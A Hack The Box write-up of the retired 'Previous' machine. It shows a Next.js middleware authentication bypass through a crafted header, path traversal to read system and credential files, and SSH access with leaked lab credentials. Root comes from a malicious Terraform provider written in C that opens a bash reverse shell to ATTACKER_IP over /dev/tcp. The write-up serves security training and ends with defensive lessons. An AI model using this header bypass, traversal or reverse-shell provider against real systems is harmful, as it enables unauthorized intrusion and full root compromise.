⏪ HTB Previous Write-up

📝 Summary
The previous.htb web server ran Next.js 15.2.2, which was vulnerable to an authentication bypass in middleware handling (CVE-2025-29927). By supplying a crafted X-Middleware-Subrequest header, authentication checks could be skipped entirely.
After bypassing authentication, I was able to access the site’s online documentation and interact with an API endpoint used to download example files. This endpoint was vulnerable to path traversal, allowing arbitrary file reads from the system.
By enumerating the Next.js application directory, I identified that next-auth was used for authentication. Downloading the compiled server runtime revealed the NextAuth credentials file, which contained hardcoded credentials for the user jeremy. These credentials were reused for Jeremy’s system account, allowing SSH access as jeremy.
The user jeremy was permitted to run Terraform as root via sudo. Although the Terraform configuration appeared locked down, a writable .terraformrc file in the user’s home directory contained a provider development override. By placing a malicious provider binary in the overridden path, I was able to hijack Terraform’s provider execution.
When Terraform was executed with sudo, the malicious provider was run as root, spawning a reverse shell and resulting in full root compromise of the system.
🌐 PreviousJS website
🔎 Recon
Initial scan revealed only two ports open:
-
22/tcp: OpenSSH 8.9p1 -
80/tcp: nginx 1.18.0
fcoomans@kali:~/htb/previous$ rustscan -a 10.10.11.83 --tries 5 --ulimit 10000 -- -sCV -oA previous_tcp_all
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.
[~] The config file is expected to be at "/home/fcoomans/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.83:22
Open 10.10.11.83:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p - -sCV -oA previous_tcp_all" on ip 10.10.11.83
Depending on the complexity of the script, results may take some time to appear.
<SNIP>
Nmap scan report for 10.10.11.83
Host is up, received reset ttl 63 (0.40s latency).
Scanned at 2025-08-24 11:35:24 SAST for 14s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<SNIP>
After adding previous.htb to /etc/hosts,
fcoomans@kali:~/htb/previous$ grep previous.htb /etc/hosts
10.10.11.83 previous.htb
I opened http://previous.htb and Wappalyzer showed me the site’s technology stack and noticed that the site used Next.js 15.2.2.

🐞 CVE-2025-29927
searchsploit confirmed that this version of Next.js was vulnerable to an Authorization Bypass.
fcoomans@kali:~/htb/previous$ searchsploit next.js 15.2.2
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
Next.js Middleware 15.2.2 - Authorization Bypass | multiple/webapps/52124.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
fcoomans@kali:~/htb/previous$ PAGER=cat searchsploit -x 52124
Exploit: Next.js Middleware 15.2.2 - Authorization Bypass
URL: https://www.exploit-db.com/exploits/52124
Path: /usr/share/exploitdb/exploits/multiple/webapps/52124.txt
Codes: CVE-2025-29927
Verified: False
File Type: ASCII text
# Exploit Title: Next.js Middleware Bypass Vulnerability (CVE-2025-29927)
# Date: 2025-03-26
# Exploit Author: kOaDT
# Vendor Homepage: https://nextjs.org/
# Software Link: https://github.com/vercel/next.js
# Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4
# Tested on: Ubuntu 22.04.5 LTS
# CVE: CVE-2025-29927
# PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js
# POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main
https://github.com/MuhammadWaseem29/CVE-2025-29927-POC explained the exploit and it turned out that you can bypass authentication by simply adding the following Header to the Request:
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
🧪 Exploitation
🪪 Auth Bypass
Clicking the Docs link on the site home page opened a login screen.

I opened the Burp proxy settings and configured Burp to always add the Header to all Requests.

Clicking on the Docs link, after the malicious Header addition, opened the Documentation Overview page.

I found a download link under Examples, which opens the /api/download endpoint and downloads the file via the example parameter.

I clicked the download link and confirmed that the hello-world.ts example file was downloaded using the Auth Bypass.

↩️ Path Traversal
I tested for path traversal and tried to download ../../../../../etc/passwd and the file was downloaded.

The current working directory was identified as /app, as seen in /proc/self/environ via the PWD environment variable, confirming that the application root directory was /app.

Reviewing the application dependencies in /app/package.json showed that next-auth was used for authentication.

According to the NextAuth documentation, credential-based authentication is implemented in either
pages/api/auth/[...nextauth].js or app/api/auth/[...nextauth]/route.ts, depending on whether the Pages Router or App Router is used.
In a production Next.js deployment, source files are compiled and executed from the .next/server/ directory rather than directly from the source tree. Documentation on the Next.js build output structure confirms that API routes using the Pages Router are compiled to .next/server/pages/api/.
After enumerating this directory, the compiled authentication handler was located at: /app/.next/server/pages/api/auth/[...nextauth].js
Downloading the file revealed a username jeremy and a password MyNameIsJeremyAndILovePancakes.

👣 Foothold as Jeremy
I attempted to SSH to the target as user jeremy and password MyNameIsJeremyAndILovePancakes.
The attempt was successful and I had SSH access to the target.
fcoomans@kali:~/htb/previous$ ssh jeremy@previous.htb
jeremy@previous.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
<SNIP>
jeremy@previous:~$ id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
💰 Post Exploitation
🚩 user.txt
Jeremy held the user.txt flag.
jeremy@previous:~$ cat /home/jeremy/user.txt
a0c448c9350d3caaf932b79b82a20447
🏗️ Terraform
🔎 Recon
Jeremy could run Terraform (/usr/bin/terraform) as root via sudo with specific parameters. The first parameter changed the directory to /opt/examples and the second parameter applied/ran (apply) the Terraform.
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
/opt/examples was not writable by users other than root.
jeremy@previous:~$ ls -lhd /opt/examples/
drwxr-xr-x 3 root root 4.0K Aug 24 11:18 /opt/examples/
jeremy@previous:~$ ls -lh /opt/examples/
total 8.0K
-rw-r--r-- 1 root root 576 Aug 21 18:15 main.tf
-rw-r--r-- 1 root root 1.1K Aug 24 11:19 terraform.tfstate
The /opt/examples/main.cf appeared to load providers from previous.htb/terraform/examples and then transformed the source file /root/examples/hello-world.ts.
jeremy@previous:~$ cat /opt/examples/main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
/opt/examples/terraform.tfstate didn’t leak anything interested and simply contained the current state of Terraform.
jeremy@previous:~$ cat /opt/examples/terraform.tfstate
{
"version": 4,
"terraform_version": "1.11.4",
"serial": 8,
"lineage": "44b13e76-4b23-5fd1-8bf6-b5625394edda",
"outputs": {
"destination_path": {
"value": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"type": "string"
}
},
"resources": [
{
"mode": "managed",
"type": "examples_example",
"name": "example",
"provider": "provider[\"previous.htb/terraform/examples\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"destination_path": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"id": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"source_path": "/root/examples/hello-world.ts"
},
"sensitive_attributes": []
}
]
}
],
"check_results": [
{
"object_kind": "var",
"config_addr": "var.source_path",
"status": "pass",
"objects": [
{
"object_addr": "var.source_path",
"status": "pass"
}
]
}
]
}
But looking at the user directory, I saw a user specific .terraformrc file.
jeremy@previous:~$ ls -lha
total 36K
drwxr-x--- 4 jeremy jeremy 4.0K Aug 21 20:24 .
drwxr-xr-x 3 root root 4.0K Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3.7K Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4.0K Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4.0K Sep 22 07:37 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Jan 9 18:57 user.txt
This file contained the path to the previous.htb/terraform/examples providers that do the terraforming on the source file. The thing is that the user can modify this file.
jeremy@previous:~$ cat .terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
The /usr/local/go/bin/ directory contained some providers, but the directory was not writable by Jeremy.
jeremy@previous:~$ ls -lh /usr/local/go/bin/
total 38M
-rwxr-xr-x 1 root root 13M Aug 7 2024 go
-rwxr-xr-x 1 root root 2.8M Aug 7 2024 gofmt
-rwxr-xr-x 1 root root 23M Aug 21 18:38 terraform-provider-examples
The providers were Linux compiled binaries.
jeremy@previous:~$ file /usr/local/go/bin/go
/usr/local/go/bin/go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=gYEhj5K0Wr3YqmkcGny5/V-q9HZBvbWhcczLOSRNl/PUMrXpp6xwJ3AeoV0WJD/MUHMzhRx_pmv9Li34vA0, not stripped
jeremy@previous:~$ file /usr/local/go/bin/gofmt
/usr/local/go/bin/gofmt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=fUTkQi5PlWYa5jxfdpCg/Api3zGN97WqhROZUDY7S/y2z5a9iucYTJz6Lr6OoY/oLqUu_EtC9OeXyPqFWpM, not stripped
🧪 Exploitation
🐚 Reverse Shell
I started by changing the provider path to /tmp/. Jeremy would be able to create providers that Terraform would use.
jeremy@previous:~$ cat .terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/"
}
direct {}
}
I then used https://www.revshells.com to generate a bash reverse shell.

Next, I created a malicious Terraform provider that forks into two processes. The child process launches a reverse shell, while the parent process remains alive to satisfy Terraform’s provider lifecycle requirements.
Terraform expects provider plugins to stay running after initialization; if the provider process exits prematurely, Terraform treats this as a failure. By keeping the parent process alive in an infinite loop, Terraform continues execution while the reverse shell runs independently in the child process.
jeremy@previous:~$ cat /tmp/terraform-provider-examples.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(void){
if(fork() == 0){
// child: launch reverse shell
system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"");
exit(0);
}
// parent: just loop so Terraform sees plugin alive
while(1){ sleep(10); }
}
Lastly, I compiled the provider source code.
jeremy@previous:~$ gcc -o /tmp/terraform-provider-examples /tmp/terraform-provider-examples.c
A nc listener was started on port 4444 on the attack host.
fcoomans@kali:~/htb/previous$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
Jeremy started Terraform as the root user via sudo, causing the malicious provider to execute the malicious reverse shell.
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
And the nc listener caught the root reverse shell.
fcoomans@kali:~/htb/previous$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.11.83] 47620
root@previous:/opt/examples# id
id
uid=0(root) gid=0(root) groups=0(root)
💰 Post Exploitation
🏆 root.txt
root held the root.txt flag.
root@previous:/opt/examples# cat /root/root.txt
cat /root/root.txt
bb2884439f232f27e5552ad4c6f44d8b
PreviousJS skipped auth, Terraform skipped safety checks, and I skipped straight to root.
And Previous has been Pwned! 🎉

📚 Lessons Learned
- Outdated software in production: The application was running a vulnerable version of Next.js that allowed authentication to be bypassed. Regular patching and dependency updates are critical, especially for internet‑facing frameworks.
- Password reuse across services: Credentials exposed at the application level were reused for the system account, enabling lateral movement. Enforce unique passwords per service and use centralized identity management where possible.
- Path traversal in auxiliary features: A beta download feature allowed arbitrary file reads, exposing sensitive configuration and runtime files. All file access functionality must strictly validate and sanitize user input, even in non‑core or “example” features.
-
User‑controlled override files overlooked: Terraform was hardened via
sudorestrictions and file permissions, but a writable.terraformrcallowed provider overrides to bypass those controls. Security reviews must account for user‑level configuration files that influence privileged tooling. - Violation of the Principle of Least Privilege (PoLP): The user was allowed to run Terraform as root despite not requiring full administrative privileges. Sudo permissions should be tightly scoped and regularly reviewed to limit impact if an account is compromised.
⚠️ Disclaimer
This write-up covers a retired HTB machine and is for educational purposes only. All IPs, credentials, and flags exist in a lab environment. My username is intentionally used throughout this write-up to build my cybersecurity brand.